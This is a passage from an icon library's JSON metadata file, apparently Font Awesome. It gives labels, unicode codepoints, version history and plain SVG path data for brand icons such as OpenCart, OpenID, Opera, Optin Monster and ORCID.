        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M379.3 4.7c-6.2-6.2-16.4-6.2-22.6 0l-16 16c-6.2 6.2-6.2 16.4 0 22.6l16 16c6.2 6.2 16.4 6.2 22.6 0l16-16c6.2-6.2 6.2-16.4 0-22.6l-16-16zM115.2 169.6c8-6 17.9-9.6 28.8-9.6c26.5 0 48 21.5 48 48s-21.5 48-48 48H109.8c-7.6 0-13.8 6.2-13.8 13.8c0 1.5 .2 2.9 .7 4.4l8 24c4.4 13.1 16.6 21.9 30.4 21.9H144h16c35.3 0 64 28.7 64 64s-28.7 64-64 64c-50.8 0-82.7-21.5-102.2-42.8c-9.9-10.8-16.6-21.6-20.9-29.7c-2.1-4-3.6-7.3-4.5-9.6c-.5-1.1-.8-2-1-2.5l-.2-.5 0-.1c-2.6-7.8-10.7-12.3-18.7-10.5C4.4 354.2-.9 361.8 .1 370L16 368C.1 370 .1 370 .1 370l0 0 0 0 0 .1 .1 .4c0 .3 .1 .8 .2 1.3c.2 1.1 .4 2.7 .8 4.6c.8 3.9 2 9.4 3.9 15.9c3.8 13 10.3 30.4 21.3 48C48.7 476.2 89.4 512 160 512c70.7 0 128-57.3 128-128c0-23.3-6.2-45.2-17.1-64h22.6c25.5 0 49.9-10.1 67.9-28.1l26.5-26.5c6-6 14.1-9.4 22.6-9.4H416c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32c-25.7 0-41.4-12.5-51.2-25.6c-5-6.7-8.4-13.4-10.5-18.6c-1.1-2.5-1.8-4.6-2.2-6c-.2-.7-.4-1.2-.5-1.5l-.1-.3 0 0c0 0 0 0 0 0c-1.9-7.3-8.6-12.4-16.2-12.1c-7.6 .3-13.9 5.9-15.1 13.4L336 368c-15.8-2.6-15.8-2.6-15.8-2.6l0 0 0 0 0 .1-.1 .3c0 .3-.1 .6-.2 1.1c-.1 .9-.3 2.1-.4 3.6c-.3 3-.6 7.3-.6 12.4c0 10.1 1.1 23.9 5.8 38.1c4.8 14.3 13.4 29.3 28.6 40.7C368.7 473.3 389.3 480 416 480c53 0 96-43 96-96V288c0-53-43-96-96-96h-5.5c-25.5 0-49.9 10.1-67.9 28.1l-26.5 26.5c-6 6-14.1 9.4-22.6 9.4H245.2c6.9-14.5 10.8-30.8 10.8-48c0-61.9-50.1-112-112-112c-25.2 0-48.5 8.3-67.2 22.4c-14.1 10.6-17 30.7-6.4 44.8s30.7 17 44.8 6.4zM280.9 66.7c-6-4-14-3.5-19.5 1.3s-7 12.7-3.7 19.2L272 80c-14.3 7.2-14.3 7.2-14.3 7.2l0 0 0 0 0 .1 .1 .2 .4 .7c.3 .6 .8 1.4 1.4 2.4c1.2 2 2.9 4.8 5.1 8.2c4.4 6.7 11.1 15.5 20 24.4C302.4 141.1 330.3 160 368 160c31.2 0 56.6-10.4 73.9-20.2c8.7-5 15.6-9.9 20.4-13.8c2.4-1.9 4.3-3.6 5.7-4.9c.7-.6 1.3-1.2 1.7-1.6l.6-.5 .2-.2 .1-.1 0 0 0 0c0 0 0 0-22.6-22.6l22.6 22.6c12.5-12.5 12.5-32.8 0-45.3c-12.4-12.4-32.6-12.5-45.1-.2c-.1 .1-.2 .2-.5 .4c-.5 .5-1.5 1.3-2.8 2.4c-2.7 2.2-6.8 5.2-12.1 8.2C399.4 90.4 384.8 96 368 96c-20.8 0-42.4-7-59.5-14.6c-8.4-3.7-15.4-7.5-20.3-10.3c-2.4-1.4-4.3-2.5-5.6-3.3c-.6-.4-1.1-.7-1.4-.9l-.3-.2 0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M379.3 4.7c-6.2-6.2-16.4-6.2-22.6 0l-16 16c-6.2 6.2-6.2 16.4 0 22.6l16 16c6.2 6.2 16.4 6.2 22.6 0l16-16c6.2-6.2 6.2-16.4 0-22.6l-16-16zM115.2 169.6c8-6 17.9-9.6 28.8-9.6c26.5 0 48 21.5 48 48s-21.5 48-48 48H109.8c-7.6 0-13.8 6.2-13.8 13.8c0 1.5 .2 2.9 .7 4.4l8 24c4.4 13.1 16.6 21.9 30.4 21.9H144h16c35.3 0 64 28.7 64 64s-28.7 64-64 64c-50.8 0-82.7-21.5-102.2-42.8c-9.9-10.8-16.6-21.6-20.9-29.7c-2.1-4-3.6-7.3-4.5-9.6c-.5-1.1-.8-2-1-2.5l-.2-.5 0-.1c-2.6-7.8-10.7-12.3-18.7-10.5C4.4 354.2-.9 361.8 .1 370L16 368C.1 370 .1 370 .1 370l0 0 0 0 0 .1 .1 .4c0 .3 .1 .8 .2 1.3c.2 1.1 .4 2.7 .8 4.6c.8 3.9 2 9.4 3.9 15.9c3.8 13 10.3 30.4 21.3 48C48.7 476.2 89.4 512 160 512c70.7 0 128-57.3 128-128c0-23.3-6.2-45.2-17.1-64h22.6c25.5 0 49.9-10.1 67.9-28.1l26.5-26.5c6-6 14.1-9.4 22.6-9.4H416c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32c-25.7 0-41.4-12.5-51.2-25.6c-5-6.7-8.4-13.4-10.5-18.6c-1.1-2.5-1.8-4.6-2.2-6c-.2-.7-.4-1.2-.5-1.5l-.1-.3 0 0c0 0 0 0 0 0c-1.9-7.3-8.6-12.4-16.2-12.1c-7.6 .3-13.9 5.9-15.1 13.4L336 368c-15.8-2.6-15.8-2.6-15.8-2.6l0 0 0 0 0 .1-.1 .3c0 .3-.1 .6-.2 1.1c-.1 .9-.3 2.1-.4 3.6c-.3 3-.6 7.3-.6 12.4c0 10.1 1.1 23.9 5.8 38.1c4.8 14.3 13.4 29.3 28.6 40.7C368.7 473.3 389.3 480 416 480c53 0 96-43 96-96V288c0-53-43-96-96-96h-5.5c-25.5 0-49.9 10.1-67.9 28.1l-26.5 26.5c-6 6-14.1 9.4-22.6 9.4H245.2c6.9-14.5 10.8-30.8 10.8-48c0-61.9-50.1-112-112-112c-25.2 0-48.5 8.3-67.2 22.4c-14.1 10.6-17 30.7-6.4 44.8s30.7 17 44.8 6.4zM280.9 66.7c-6-4-14-3.5-19.5 1.3s-7 12.7-3.7 19.2L272 80c-14.3 7.2-14.3 7.2-14.3 7.2l0 0 0 0 0 .1 .1 .2 .4 .7c.3 .6 .8 1.4 1.4 2.4c1.2 2 2.9 4.8 5.1 8.2c4.4 6.7 11.1 15.5 20 24.4C302.4 141.1 330.3 160 368 160c31.2 0 56.6-10.4 73.9-20.2c8.7-5 15.6-9.9 20.4-13.8c2.4-1.9 4.3-3.6 5.7-4.9c.7-.6 1.3-1.2 1.7-1.6l.6-.5 .2-.2 .1-.1 0 0 0 0c0 0 0 0-22.6-22.6l22.6 22.6c12.5-12.5 12.5-32.8 0-45.3c-12.4-12.4-32.6-12.5-45.1-.2c-.1 .1-.2 .2-.5 .4c-.5 .5-1.5 1.3-2.8 2.4c-2.7 2.2-6.8 5.2-12.1 8.2C399.4 90.4 384.8 96 368 96c-20.8 0-42.4-7-59.5-14.6c-8.4-3.7-15.4-7.5-20.3-10.3c-2.4-1.4-4.3-2.5-5.6-3.3c-.6-.4-1.1-.7-1.4-.9l-.3-.2 0 0 0 0 0 0z"
      }
    },
    "free": ["solid"]
  },
  "opencart": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f23d",
    "label": "OpenCart",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z"
      }
    },
    "free": ["brands"]
  },
  "openid": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f19b",
    "label": "OpenID",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z"
      }
    },
    "free": ["brands"]
  },
  "opera": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f26a",
    "label": "Opera",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z"
      }
    },
    "free": ["brands"]
  },
  "optin-monster": {
    "changes": ["4.4.0", "5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f23c",
    "label": "Optin Monster",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z"
      }
    },
    "free": ["brands"]
  },
  "orcid": {
    "changes": ["5.11.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f8d2",
    "label": "ORCID",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M294.75 188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M294.75 188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z"
      }
    },
    "free": ["brands"]
  },
  "osi": {
    "changes": ["5.0.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
